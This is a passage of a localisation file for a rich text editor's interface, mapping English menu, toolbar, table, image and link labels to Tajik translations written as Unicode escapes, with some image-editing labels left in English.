"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0422\u043e \u043e\u043d \u0437\u0430\u043c\u043e\u043d\u0435, \u043a\u0438 \u0438\u043d \u0445\u043e\u043c\u0443\u0448 \u0430\u0441\u0442, \u04b3\u0430\u043c\u0447\u0443\u043d \u043c\u0430\u043d\u0442 \u0432\u043e\u0440\u0438\u0434 \u043a\u0443\u043d\u0435\u0434.",
"Fonts": "\u04b2\u0443\u0440\u0443\u0444\u04b3\u043e",
"Font Sizes": "\u04b2\u0430\u04b7\u043c\u0438 \u0448\u0440\u0438\u0444\u0442",
"Class": "\u041a\u043b\u0430\u0441",
"Browse for an image": "\u0418\u043b\u043e\u0432\u0430\u0438 \u0441\u0443\u0440\u0430\u0442",
"OR": "\u0401",
"Drop an image here": "\u0421\u0443\u0440\u0430\u0442\u0440\u043e \u0438\u043d \u04b7\u043e \u043f\u0430\u0440\u0442\u043e\u0435\u0434",
"Upload": "\u0411\u043e\u0440\u043a\u0443\u043d\u04e3",
"Block": "\u0411\u043b\u043e\u043a",
"Align": "\u04b2\u0430\u043c\u0432\u043e\u0440 \u043a\u0430\u0440\u0434\u0430\u043d",
"Default": "\u0411\u043e \u0442\u0430\u0440\u0437\u0438 \u0445\u043e\u043c\u0443\u0448\u04e3",
"Circle": "\u0414\u043e\u0438\u0440\u0430",
"Disc": "\u0414\u0438\u0441\u043a",
"Square": "\u0427\u043e\u0440\u043a\u0443\u043d\u04b7\u0430",
"Lower Alpha": "\u0425\u0443\u0440\u0434\u0438 \u044e\u043d\u043e\u043d\u04e3",
"Lower Greek": "\u0425\u0443\u0440\u0434\u0438 \u042e\u043d\u043e\u043d\u04e3",
"Lower Roman": "\u0425\u0443\u0440\u0434\u0438 \u0440\u043e\u043c\u0430\u043d\u04e3",
"Upper Alpha": "\u041a\u0430\u043b\u043e\u043d\u0438 \u044e\u043d\u043e\u043d\u04e3",
"Upper Roman": "\u041a\u0430\u043b\u043e\u043d\u0438 \u0440\u043e\u043c\u0430\u043d\u04e3",
"Anchor...": "\u0410\u043d\u0447\u0443\u043c\u0430\u043d",
"Name": "\u041d\u043e\u043c",
"Id": "\u041c\u0443\u0430\u0439\u044f\u043d\u043a\u0443\u043d\u0430\u043d\u0434\u0430 (Id)",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id \u0431\u043e\u044f\u0434 \u0431\u043e \u04b3\u0430\u0440\u0444 \u043e\u0493\u043e\u0437 \u0448\u0430\u0432\u0430\u0434 \u0432\u0430 \u0442\u0430\u043d\u04b3\u043e \u0430\u0437 \u04b3\u0430\u0440\u0444\u04b3\u043e, \u0430\u0434\u0430\u0434\u04b3\u043e, \u0442\u0438\u0440\u0447\u0430\u04b3\u043e, \u043d\u0443\u049b\u0442\u0430\u04b3\u043e, \u0441\u0443\u0442\u0443\u043d\u04b3\u043e \u0451 \u0437\u0435\u0440\u043d\u0438\u0448\u0438\u043d\u04b3\u043e \u0438\u0441\u0442\u0438\u0444\u043e\u0434\u0430 \u0448\u0430\u0432\u0430\u0434.",
"You have unsaved changes are you sure you want to navigate away?": "\u0422\u0430\u0493\u0438\u0440\u043e\u0442\u04b3\u043e\u0438 \u043a\u0430\u0440\u0434\u0430\u0430\u0442\u043e\u043d\u0440\u043e \u0442\u043e \u04b3\u043e\u043b \u043d\u0438\u0433\u043e\u04b3 \u043d\u0430\u0434\u043e\u0448\u0442\u0430\u0435\u0434!\n\u041e\u0451 \u0448\u0443\u043c\u043e \u0434\u0430\u0440 \u04b3\u0430\u049b\u0438\u049b\u0430\u0442 \u043c\u0435\u0445\u043e\u04b3\u0435\u0434 \u043a\u0438 \u0431\u0430 \u0434\u0438\u0433\u0430\u0440 \u049b\u0438\u0441\u043c \u0433\u0443\u0437\u0430\u0440\u0435\u0434?",
"Restore last draft": "\u0422\u0430\u0493\u0438\u0440\u043e\u0442\u04b3\u043e\u0438 \u043e\u0445\u0438\u0440\u0438\u043d\u0440\u043e \u0431\u0435\u043a\u043e\u0440 \u043a\u0443\u043d",
"Special character...": "\u0425\u0443\u0441\u0443\u0441\u0438\u044f\u0442\u0438 \u043c\u0430\u0445\u0441\u0443\u0441 ...",
"Source code": "\u041a\u043e\u0434\u0438 \u0430\u0441\u043b\u0438",
"Insert\/Edit code sample": "\u0418\u043b\u043e\u0432\u0430\/\u0442\u0430\u0493\u0439\u0438\u0440 \u0434\u043e\u0434\u0430\u043d\u0438 \u043d\u0430\u043c\u0443\u043d\u0430\u0438 \u043a\u043e\u0434",
"Language": "\u0417\u0430\u0431\u043e\u043d",
"Code sample...": "\u041d\u0430\u043c\u0443\u043d\u0430\u0438 \u043a\u043e\u0434 ...",
"Color Picker": "\u0418\u043d\u0442\u0438\u0445\u043e\u0431\u043a\u0443\u043d\u0430\u043d\u0434\u0430\u0438 \u0440\u0430\u043d\u0433",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0410\u0437 \u0447\u0430\u043f \u0431\u0430 \u0440\u043e\u0441\u0442",
"Right to left": "\u0410\u0437 \u0440\u043e\u0441\u0442 \u0431\u0430 \u0447\u0430\u043f",
"Emoticons...": "\u0418\u043b\u043e\u0432\u0430\u0438 \u0441\u043c\u0430\u0439\u043b",
"Metadata and Document Properties": "\u041c\u0435\u0442\u0430\u0434\u043e\u0434\u0430\u04b3\u043e \u0432\u0430 \u0425\u0443\u0441\u0443\u0441\u0438\u044f\u0442\u04b3\u043e\u0438 \u04b3\u0443\u04b7\u04b7\u0430\u0442",
"Title": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430",
"Keywords": "\u041a\u0430\u043b\u0438\u043c\u0430\u04b3\u043e\u0438 \u043c\u0443\u0442\u0430\u043d\u043e\u0441\u0438\u0431",
"Description": "\u041c\u0430\u044a\u043b\u0443\u043c\u043e\u0442\u0438 \u043c\u0443\u0445\u0442\u0430\u0441\u0430\u0440",
"Robots": "Robots",
"Author": "\u041c\u0443\u0430\u043b\u043b\u0438\u0444",
"Encoding": "\u0411\u043e \u0440\u0430\u043c\u0437 \u0433\u0430\u0440\u0434\u043e\u043d\u0438\u0434\u0430\u043d",
"Fullscreen": "\u041a\u0430\u043b\u043e\u043d \u043a\u0430\u0440\u0434\u0430\u043d",
"Action": "\u0410\u043c\u0430\u043b",
"Shortcut": "\u0428\u043e\u0440\u0442\u043a\u043e\u0434",
"Help": "\u0401\u0440\u04e3",
"Address": "\u0421\u0443\u0440\u043e\u0493\u0430",
"Focus to menubar": "\u0422\u0430\u0432\u0430\u04b7\u04b7\u04ef\u04b3 (\u0424\u043e\u043a\u0443\u0441) \u0431\u0430 \u043c\u0435\u043d\u044e",
"Focus to toolbar": "\u0422\u0430\u0432\u0430\u04b7\u04b7\u04ef\u04b3 (\u0424\u043e\u043a\u0443\u0441) \u0431\u0430 \u043f\u0430\u043d\u0435\u043b\u0438 \u0430\u0441\u0431\u043e\u0431\u04b3\u043e",
"Focus to element path": "\u0422\u0430\u0432\u0430\u04b7\u04b7\u04ef\u04b3 (\u0424\u043e\u043a\u0443\u0441)  \u0431\u0430 \u0440\u043e\u04b3\u0438 \u044d\u043b\u0435\u043c\u0435\u043d\u0442",
"Focus to contextual toolbar": "\u0422\u0430\u0432\u0430\u04b7\u04b7\u04ef\u04b3 (\u0424\u043e\u043a\u0443\u0441) \u0431\u0430 \u043f\u0430\u043d\u0435\u043b\u0438 \u0430\u0441\u0431\u043e\u0431\u04b3\u043e\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u04e3",
"Insert link (if link plugin activated)": "\u0412\u043e\u0440\u0438\u0434 \u043a\u0430\u0440\u0434\u0430\u043d\u0438 \u043f\u0430\u0439\u0432\u0430\u043d\u0434\u0430\u043a (\u0430\u0433\u0430\u0440 \u043f\u043b\u0430\u0433\u0438\u043d\u0438 \u043f\u0430\u0439\u0432\u0430\u043d\u0434 \u0444\u0430\u044a\u043e\u043b \u0431\u043e\u0448\u0430\u0434)",
"Save (if save plugin activated)": "\u0421\u0430\u0431\u0442 \u043a\u0430\u0440\u0434\u0430\u043d (\u0430\u0433\u0430\u0440 \u043f\u043b\u0430\u0433\u0438\u043d\u0438 \u0441\u0430\u0431\u0442 \u0444\u0430\u044a\u043e\u043b \u0431\u043e\u0448\u0430\u0434)",
"Find (if searchreplace plugin activated)": "\u04b6\u0443\u0441\u0442\u0443\u04b7\u04ef (\u0430\u0433\u0430\u0440 \u043f\u043b\u0430\u0433\u0438\u043d\u0438 \u04b7\u043e\u0438 \u04b7\u0443\u0441\u0442\u0443\u04b7\u04ef \u0444\u0430\u044a\u043e\u043b \u0431\u043e\u0448\u0430\u0434)",
"Plugins installed ({0}):": "\u041f\u043b\u0430\u0433\u0438\u043d\u04b3\u043e\u0438 \u043d\u0430\u0441\u0431\u0448\u0443\u0434\u0430 ({0}):",
"Premium plugins:": "\u041f\u043b\u0430\u0433\u0438\u043d\u04b3\u043e\u0438 \u043f\u0440\u0435\u043c\u0438\u0443\u043c:",
"Learn more...": "\u0411\u0435\u0448\u0442\u0430\u0440 \u0445\u043e\u043d\u0434\u0430\u043d...",
"You are using {0}": "\u0428\u0443\u043c\u043e {0} -\u0440\u043e \u0438\u0441\u0442\u0438\u0444\u043e\u0434\u0430 \u043c\u0435\u0431\u0430\u0440\u0435\u0434",
"Plugins": "\u041f\u043b\u0430\u0433\u0438\u043d\u04b3\u043e",
"Handy Shortcuts": "\u0428\u043e\u0440\u0442\u043a\u043e\u0434\u0438 \u0434\u0430\u0441\u0442\u04e3",
"Horizontal line": "\u0425\u0430\u0442\u0438 \u0443\u0444\u0443\u049b\u04e3",
"Insert\/edit image": "\u0412\u043e\u0440\u0438\u0434\/\u0422\u0430\u0493\u0438\u0440\u0438 \u0440\u0430\u0441\u043c",
"Image description": "\u041c\u0430\u044a\u043b\u0443\u043c\u043e\u0442\u0438 \u043c\u0443\u0445\u0442\u0430\u0441\u0430\u0440",
"Source": "\u041c\u0430\u043a\u043e\u043d\u0438 \u0430\u0441\u043e\u0441\u04e3",
"Dimensions": "\u0427\u0435\u043d\u0430\u043a\u04b3\u043e",
"Constrain proportions": "\u0427\u0435\u043d\u0430\u043a\u04b3\u043e\u0438 \u043c\u0430\u04b7\u0431\u0443\u0440\u0438",
"General": "\u041e\u0434\u0434\u0438",
"Advanced": "\u041c\u0443\u0442\u0430\u0440\u0430\u049b\u0438",
"Style": "\u0421\u0442\u0438\u043b",
"Vertical space": "\u0424\u043e\u0441\u0438\u043b\u0430\u0438 \u0430\u043c\u0443\u0434\u04e3",
"Horizontal space": "\u0424\u043e\u0441\u0438\u043b\u0430\u0438 \u0443\u0444\u0443\u049b\u04e3",
"Border": "\u04b2\u0443\u0434\u0443\u0434",
"Insert image": "\u0420\u0430\u0441\u043c \u0432\u043e\u0440\u0438\u0434 \u043a\u0430\u0440\u0434\u0430\u043d",
"Image...": "\u0421\u0443\u0440\u0430\u0442 ...",
"Image list": "\u0420\u04ef\u0439\u0445\u0430\u0442\u0438 c\u0443\u0440\u0430\u0442\u04b3\u043e",
"Rotate counterclockwise": "Rotate counterclockwise",
"Rotate clockwise": "Rotate clockwise",
"Flip vertically": "Flip vertically",
"Flip horizontally": "Flip horizontally",
"Edit image": "Edit image",
"Image options": "Image options",
"Zoom in": "Zoom in",
"Zoom out": "Zoom out",
"Crop": "Crop",
"Resize": "Resize",
"Orientation": "Orientation",
"Brightness": "Brightness",
"Sharpen": "Sharpen",
"Contrast": "Contrast",
"Color levels": "Color levels",
"Gamma": "Gamma",
"Invert": "Invert",
"Apply": "Apply",
"Back": "Back",
"Insert date\/time": "\u0412\u043e\u0440\u0438\u0434\u0438 \u0420\u04ef\u0437\/\u0421\u043e\u0430\u0442",
"Date\/time": "\u0420\u04ef\u0437\/\u0421\u043e\u0430\u0442",
"Insert\/Edit Link": "\u0412\u043e\u0440\u0438\u0434\/\u0422\u0430\u04b3\u0440\u0438\u0440 \u043a\u0430\u0440\u0434\u0430\u043d\u0438 \u043f\u0430\u0439\u0432\u0430\u043d\u0434",
"Insert\/edit link": "\u0412\u043e\u0440\u0438\u0434\/\u0442\u0430\u0493\u0438\u0440 \u0434\u043e\u0434\u0430\u043d\u0438 \u0438\u0441\u0442\u0438\u043d\u043e\u0434",
"Text to display": "\u041c\u0430\u0442\u043d \u0431\u0430\u0440\u043e\u0438 \u043c\u0430\u043d\u0437\u0443\u0440",
"Url": "Url",
"Open link in...": "\u041f\u0430\u0439\u0432\u0430\u043d\u0434\u0440\u043e \u043a\u0443\u0448\u043e\u0435\u0434 \u0434\u0430\u0440 ...",
"Current window": "\u0420\u0430\u0432\u0437\u0430\u043d\u0430\u0438 \u04b7\u043e\u0440\u04e3",
"None": "\u04b2\u0435\u04b7 \u0447\u0438\u0437",
"New window": "\u0422\u0438\u0440\u0435\u0437\u0430\u0438 \u043d\u0430\u0432",
"Remove link": "\u041d\u0435\u0441\u0442 \u043a\u0430\u0440\u0434\u0430\u043d\u0438 \u0438\u0441\u0442\u0438\u043d\u043e\u0434",
"Anchors": "\u041b\u0430\u043d\u0433\u0430\u0440",
"Link...": "\u041f\u0430\u0439\u0432\u0430\u043d\u0434...",
"Paste or type a link": "\u041f\u0430\u0439\u0432\u0430\u043d\u0434\u0440\u043e \u043c\u043e\u043d\u0435\u0434 \u0451 \u043d\u0430\u0432\u0438\u0441\u0435\u0434",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URL \u0430\u0434\u0440\u0435\u0441\u0435, \u043a\u0438 \u0448\u0443\u043c\u043e \u0432\u043e\u0440\u0438\u0434 \u043a\u0430\u0440\u0434\u0435\u0434 Email \u0430\u0434\u0440\u0435\u0441 \u0430\u0441\u0442. G\u0440\u0435\u0444\u0438\u043a\u0441\u0438 mailto: \u0438\u043b\u043e\u0432\u0430 \u043a\u0443\u043d\u0430\u043c?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URL \u0430\u0434\u0440\u0435\u0441\u0435, \u043a\u0438 \u0448\u0443\u043c\u043e \u0432\u043e\u0440\u0438\u0434 \u043a\u0430\u0440\u0434\u0435\u0434 \u0438\u0441\u0442\u0438\u043d\u043e\u0434 \u0430\u0441\u0442. \u041f\u0440\u0435\u0444\u0438\u043a\u0441\u0438 http:\/\/: \u0438\u043b\u043e\u0432\u0430 \u043a\u0443\u043d\u0430\u043c?",
"Link list": "\u0420\u04ef\u0439\u0445\u0430\u0442\u0438 \u043f\u0430\u0439\u0432\u0430\u043d\u0434\u04b3\u043e",
"Insert video": "\u0412\u043e\u0440\u0438\u0434\u0438 \u0432\u0438\u0434\u0435\u043e",
"Insert\/edit video": "\u0412\u043e\u0440\u0438\u0434\/\u0442\u0430\u0493\u0438\u0440\u0438 \u0432\u0438\u0434\u0435\u043e",
"Insert\/edit media": "\u0413\u0443\u0437\u043e\u0448\u0442\u0430\u043d\/\u0442\u0430\u04b3\u0440\u0438\u0440 \u0442\u0430\u0493\u0439\u0438\u0440\u0434\u043e\u0434\u0430\u043d\u0438 \u043c\u0435\u0434\u0438\u0430",
"Alternative source": "\u0421\u0430\u0440\u0447\u0430\u0448\u043c\u0430\u0438 \u0430\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u04e3",
"Alternative source URL": "\u041c\u0430\u043d\u0431\u0430\u0438 \u0430\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0438\u0438 URL",
"Media poster (Image URL)": "\u042d\u044a\u043b\u043e\u043d\u0438 \u0440\u0430\u0441\u043e\u043d\u0430 (URL\u0438 \u0441\u0443\u0440\u0430\u0442)",
"Paste your embed code below:": "embed \u043a\u043e\u0434\u0440\u043e \u0438\u043d\u04b7\u043e \u0432\u043e\u0440\u0438\u0434 \u043a\u0443\u043d\u0435\u0434",
"Embed": "Embed",
"Media...": "\u041c\u0435\u0434\u0438\u0430..",
"Nonbreaking space": "\u0411\u0435\u0444\u043e\u0441\u0438\u043b\u0430",
"Page break": "\u0421\u0430\u04b3\u0438\u0444\u0430\u0440\u043e \u0448\u0438\u043a\u0430\u0441\u0442\u0430\u043d",
"Paste as text": "\u0413\u0443\u0437\u043e\u0448\u0442\u0430\u043d \u04b3\u0430\u043c\u0447\u0443 \u043c\u0430\u0442\u043d",
"Preview": "\u041c\u0430\u043d\u0437\u0443\u0440",
"Print...": "\u0427\u043e\u043f \u043a\u0430\u0440\u0434\u0430\u043d...",
"Save": "\u041d\u0438\u0433\u043e\u04b3 \u0434\u043e\u0448\u0442\u0430\u043d",
"Find": "\u0401\u0444\u0442\u0430\u043d",
"Replace with": "\u0422\u0430\u0493\u0438\u0440 \u0431\u0430",
"Replace": "\u0422\u0430\u0493\u0438\u0440",
"Replace all": "\u0422\u0430\u0493\u0438\u0440\u0438 \u04b3\u0430\u043c\u0430\u0430\u0448",
"Previous": "\u041f\u0435\u0448\u0442\u0430\u0440",
"Next": "\u041e\u044f\u043d\u0434\u0430",
"Find and replace...": "\u04b6\u0443\u0441\u0442\u0443\u04b7\u04ef \u0432\u0430 \u0438\u0432\u0430\u0437 ...",
"Could not find the specified string.": "\u0425\u0430\u0442\u0438 \u0434\u0430\u0440\u0445\u043e\u0441\u0442\u0448\u0443\u0434\u0430\u0440\u043e \u0451\u0444\u0442\u0430 \u043d\u0430\u0442\u0430\u0432\u043e\u043d\u0438\u0441\u0442\u0430\u043c",
"Match case": "\u041c\u0443\u0432\u043e\u0444\u0438\u049b\u0430\u0442",
"Find whole words only": "\u0422\u0430\u043d\u04b3\u043e \u043a\u0430\u043b\u0438\u043c\u0430\u04b3\u043e\u0440\u043e \u04b7\u0443\u0441\u0442\u0430\u043d",
"Spell check": "\u0421\u0430\u043d\u04b7\u0438\u0448\u0438 \u0438\u043c\u043b\u043e",
"Ignore": "\u0410\u04b3\u0430\u043c\u0438\u044f\u0442 \u043d\u0430\u0434\u043e\u0434\u0430\u043d",
"Ignore all": "\u0410\u04b3\u0430\u043c\u0438\u044f\u0442 \u043d\u0430\u0434\u043e\u0434\u0430\u043d \u0431\u0430 \u04b3\u0430\u043c\u043c\u0430\u0448",
"Finish": "\u0422\u0430\u043c\u043e\u043c",
"Add to Dictionary": "\u0414\u0430\u0440 \u043b\u0443\u0493\u0430\u0442 \u0438\u043b\u043e\u0432\u0430 \u043a\u0443\u043d",
"Insert table": "\u0412\u043e\u0440\u0438\u0434 \u043a\u0430\u0440\u0434\u0430\u043d\u0438 \u04b7\u0430\u0434\u0432\u0430\u043b",
"Table properties": "\u0425\u0443\u0441\u0443\u0441\u0438\u044f\u0442\u0438 \u04b7\u0430\u0434\u0432\u0430\u043b",
"Delete table": "\u041d\u0435\u0441\u0442 \u043a\u0430\u0440\u0434\u0430\u043d\u0438 \u04b7\u0430\u0434\u0432\u0430\u043b",
"Cell": "\u0421\u04ef\u0440\u043e\u0445",
"Row": "\u0425\u0430\u0442",
"Column": "\u0421\u0443\u0442\u0443\u043d",
"Cell properties": "\u0425\u0443\u0441\u0443\u0441\u0438\u044f\u0442\u0438 \u0441\u04ef\u0440\u043e\u0445",
"Merge cells": "\u0421\u04ef\u0440\u043e\u0445\u0438\u04b3\u043e\u0440\u043e \u044f\u043a\u04b7\u043e\u044f \u043a\u0430\u0440\u0434\u0430\u043d",
"Split cell": "\u0421\u04ef\u0440\u043e\u0445\u0438\u04b3\u043e\u0440\u043e \u0431\u0443\u0440\u0438\u0434\u0430\u043d",
"Insert row before": "\u0425\u0430\u0442 \u0432\u043e\u0440\u0438\u0434 \u043a\u0430\u0440\u0434\u0430\u043d \u043f\u0435\u0448 \u0430\u0437",
"Insert row after": "\u0425\u0430\u0442 \u0432\u043e\u0440\u0438\u0434 \u043a\u0430\u0440\u0434\u0430\u043d \u043f\u0430\u0441 \u0430\u0437",
"Delete row": "\u041d\u0435\u0441\u0442 \u043a\u0430\u0440\u0434\u0430\u043d\u0438 \u0445\u0430\u0442",
"Row properties": "\u0425\u0443\u0441\u0443\u0441\u0438\u044f\u0442\u0438 \u0445\u0430\u0442",
"Cut row": "\u0411\u0443\u0440\u0438\u0434\u0430\u043d\u0438 \u0445\u0430\u0442",
"Copy row": "\u041d\u0443\u0441\u0445\u0430\u0431\u043e\u0440\u0434\u043e\u0440\u0438\u0438 \u0445\u0430\u0442",
"Paste row before": "\u0425\u0430\u0442 \u0433\u0443\u0437\u043e\u0448\u0442\u0430\u043d \u043f\u0435\u0448 \u0430\u0437",
"Paste row after": "\u0425\u0430\u0442 \u0433\u0443\u0437\u043e\u0448\u0442\u0430\u043d \u043f\u0430\u0441 \u0430\u0437",
"Insert column before": "\u0421\u0443\u0442\u0443\u043d \u0432\u043e\u0440\u0438\u0434 \u043a\u0430\u0440\u0434\u0430\u043d \u043f\u0435\u0448 \u0430\u0437",
"Insert column after": "\u0421\u0443\u0442\u0443\u043d \u0432\u043e\u0440\u0438\u0434 \u043a\u0430\u0440\u0434\u0430\u043d \u043f\u0430\u0441 \u0430\u0437",
"Delete column": "\u041d\u0435\u0441\u0442 \u043a\u0430\u0440\u0434\u0430\u043d\u0438 \u0441\u0443\u0442\u0443\u043d",
"Cols": "\u0421\u0443\u0442\u0443\u043d\u04b3\u043e",
"Rows": "\u0425\u0430\u0442\u04b3\u043e",
"Width": "\u041f\u0430\u04b3\u043d\u0438",
"Height": "\u0411\u0430\u043b\u0430\u043d\u0434\u0438",
"Cell spacing": "\u0424\u043e\u0441\u0438\u043b\u0430\u0438 \u0431\u0435\u0440\u0443\u043d\u0430",
"Cell padding": "\u0424\u043e\u0441\u0438\u043b\u0430\u0438 \u0434\u0430\u0440\u0443\u043d\u0430",
"Show caption": "\u041d\u0430\u043c\u043e\u0438\u0448\u0438 \u0441\u0430\u0440\u043b\u0430\u0432\u04b3\u0430",
"Left": "\u0427\u0430\u043f",
"Center": "\u041c\u0430\u0440\u043a\u0430\u0437",
"Right": "\u0420\u043e\u0441\u0442",
"Cell type": "\u041d\u0430\u043c\u0443\u0434\u0438 \u0441\u0443\u0440\u043e\u0445\u04e3",
"Scope": "Scope",
"Alignment": "\u0420\u043e\u0441\u0442 \u043a\u0430\u0440\u0434\u0430\u043d",
"H Align": "\u0410\u0437 \u0431\u043e\u043b\u043e \u0431\u0430 \u043f\u043e\u0451\u043d",
"V Align": "\u0410\u0437 \u0447\u0430\u043f \u0431\u0430 \u0440\u043e\u0441\u0442",
"Top": "\u0411\u043e\u043b\u043e",
"Middle": "\u041c\u043e\u0431\u0430\u0439\u043d",
"Bottom": "\u041f\u043e\u0451\u043d",
"Header cell": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430",
"Row group": "\u0413\u0443\u0440\u0443\u04b3\u0438 \u0445\u0430\u0442\u04b3\u043e",
"Column group": "\u0413\u0443\u0440\u0443\u04b3\u0438 \u0441\u0443\u0442\u0443\u043d",
"Row type": "\u041d\u0430\u043c\u0443\u0434\u0438 \u0445\u0430\u0442",
"Header": "\u049a\u0438\u0441\u043c\u0438 \u0431\u043e\u043b\u043e\u0438",
"Body": "\u049a\u0438\u0441\u043c\u0438 \u0430\u0441\u043b\u0438",
"Footer": "\u049a\u0438\u0441\u043c\u0438 \u043f\u043e\u0451\u043d\u0438",
"Border color": "\u0420\u0430\u043d\u0433\u0438 \u04b3\u0443\u0434\u0443\u0434",
"Insert template...": "\u0428\u0430\u0431\u043b\u043e\u043d \u0433\u0443\u0437\u043e\u0440\u0435\u0434 ...",
"Templates": "\u049a\u043e\u043b\u0430\u0431",
"Template": "\u041d\u0430\u043c\u0443\u043d\u0430",
"Text color": "\u0420\u0430\u043d\u0433\u0438 \u043c\u0430\u0442\u043d",
"Background color": "\u0420\u0430\u043d\u0433\u0438 \u043f\u0443\u0448\u0442\u0438 \u043c\u0430\u0442\u043d",
"Custom...": "\u0425\u0443\u0441\u0443\u0441\u04e3",
"Custom color": "\u0420\u0430\u043d\u0433\u0438 \u0445\u0443\u0441\u0443\u0441\u04e3",
"No color": "\u0411\u0435 \u0440\u0430\u043d\u0433",
"Remove color": "\u0420\u0430\u043d\u0433\u0440\u043e \u043d\u0435\u0441\u0442 \u043a\u0430\u0440\u0434\u0430\u043d",
"Table of Contents": "\u041c\u0443\u043d\u0434\u0430\u0440\u0438\u04b7\u0430",
"Show blocks": "\u041d\u0438\u0448\u043e\u043d \u0434\u043e\u0434\u0430\u043d\u0438 \u0433\u0443\u0440\u0443\u04b3\u04b3\u043e",
"Show invisible characters": "\u0420\u0430\u043c\u0437\u04b3\u043e\u0438 \u043c\u0430\u0445\u0441\u0443\u0441\u0440\u043e \u043d\u0438\u0448\u043e\u043d \u0434\u043e\u0434\u0430\u043d",
"Word count": "\u0428\u0443\u043c\u043e\u0440\u0430\u0438 \u043a\u0430\u043b\u0438\u043c\u0430\u04b3\u043e",
"Count": "\u0428\u0443\u043c\u043e\u0440\u0430",
"Document": "\u04b2\u0443\u04b7\u04b7\u0430\u0442",
"Selection": "\u0418\u043d\u0442\u0438\u0445\u043e\u0431\u04b3\u043e",
"Words": "\u041a\u0430\u043b\u0438\u043c\u0430\u04b3\u043e",
"Words: {0}": "\u041a\u043b\u0438\u043c\u0430\u04b3\u043e: {0}",
"{0} words": "{0} \u043a\u0430\u043b\u0438\u043c\u0430\u04b3\u043e",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0422\u0430\u0493\u0438\u0440\u043e\u0442",
"Insert": "\u0412\u043e\u0440\u0438\u0434",
"View": "\u041c\u0430\u043d\u0437\u0443\u0440 \u043a\u0430\u0440\u0434\u0430\u043d",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442",
"Table": "\u04b6\u0430\u0434\u0432\u0430\u043b",
"Tools": "\u0410\u0441\u0431\u043e\u0431\u04b3\u043e",
"Powered by {0}": "\u041d\u0435\u0440\u04ef\u043c\u0430\u043d\u0434\u0448\u0443\u0434\u0430 \u0430\u0437 \u04b7\u043e\u043d\u0438\u0431\u0438 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u041c\u0435\u043d\u044e ALT-F9. \u0410\u0441\u0431\u043e\u0431\u04b3\u043e ALT-F10. \u041a\u0443\u043c\u043c\u0430\u043a ALT-0",
"Image title": "\u0423\u043d\u0432\u043e\u043d\u0438 \u0442\u0430\u0441\u0432\u0438\u0440",
"Border width": "\u041f\u0430\u04b3\u043c\u0438\u0438 \u0447\u043e\u0440\u0447\u04ef\u0431\u0430",
"Border style": "\u0421\u0442\u0438\u043b\u0438 \u0447\u043e\u0440\u0447\u04ef\u0431\u0430",
"Error": "\u0425\u0430\u0442\u043e\u0433\u04e3",
"Warn": "\u041e\u0433\u043e\u04b3\u04e3",
"Valid": "\u0414\u0443\u0440\u0443\u0441\u0442",
"To open the popup, press Shift+Enter": "\u0411\u0430\u0440\u043e\u0438 \u043a\u0443\u0448\u043e\u0434\u0430\u043d\u0438 \u043f\u043e\u043f-\u0430\u043f, Shift + Enter\u0440\u043e \u043f\u0430\u0445\u0448 \u043a\u0443\u043d\u0435\u0434",
"Rich Text Area. Press ALT-0 for help.": "\u041c\u0438\u043d\u0442\u0430\u049b\u0430\u0438 \u0431\u043e\u0439\u0438 \u043c\u0430\u0442\u043d. \u0411\u0430\u0440\u043e\u0438 \u043a\u04ef\u043c\u0430\u043a ALT-0 -\u0440\u043e \u043f\u0430\u0445\u0448 \u043a\u0443\u043d\u0435\u0434.",
"System Font": "\u04b2\u0430\u0440\u0444\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430",
"Failed to upload image: {0}": "\u0421\u0443\u0440\u0430\u0442 \u0431\u043e\u0440 \u043a\u0430\u0440\u0434\u0430 \u043d\u0430\u0448\u0443\u0434: {0}",
"Failed to load plugin: {0} from url {1}": "\u0411\u043e\u0440 \u043a\u0430\u0440\u0434\u0430\u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d \u0438\u043c\u043a\u043e\u043d\u043d\u043e\u043f\u0430\u0437\u0438\u0440 \u043d\u0435\u0441\u0442: {0} \u0430\u0437 URL {1}",
"Failed to load plugin url: {0}": "\u0425\u0430\u0442\u043e\u0433\u0438\u0438 URL, \u0431\u043e\u0440\u043a\u0443\u043d\u04e3 \u043c\u0443\u044f\u0441\u0441\u0430\u0440 \u043d\u0430\u0448\u0443\u0434: {0}",
"Failed to initialize plugin: {0}": "\u0422\u0430\u043d\u0437\u0438\u043c \u043a\u0430\u0440\u0434\u0430\u043d\u0438 \u043f\u043b\u0430\u0433\u0438\u043d \u043c\u0443\u044f\u0441\u0441\u0430\u0440 \u043d\u0430\u0448\u0443\u0434: {0}",
"example": "\u043d\u0430\u043c\u0443\u043d\u0430",
"Search": "\u04b6\u0443\u0441\u0442\u0443\u04b7\u04ef",
"All": "\u04b2\u0430\u043c\u0430",
"Currency": "\u0410\u0441\u044a\u043e\u0440",
"Text": "\u041c\u0430\u0442\u043d",
"Quotations": "\u0418\u049b\u0442\u0438\u0431\u043e\u0441\u04b3\u043e",
"Mathematical": "\u041c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u043a\u04e3",
"Extended Latin": "\u041b\u043e\u0442\u0438\u043d\u0438\u0438 \u0432\u0430\u0441\u0435\u044a",
"Symbols": "\u0410\u043b\u043e\u043c\u0430\u0442\u04b3\u043e",
"Arrows": "\u0422\u0438\u0440\u04b3\u043e",
"User Defined": "\u041a\u043e\u0440\u0431\u0430\u0440 \u043c\u0443\u0430\u0439\u044f\u043d \u043a\u0430\u0440\u0434\u0430",
"dollar sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0434\u043e\u043b\u043b\u0430\u0440",
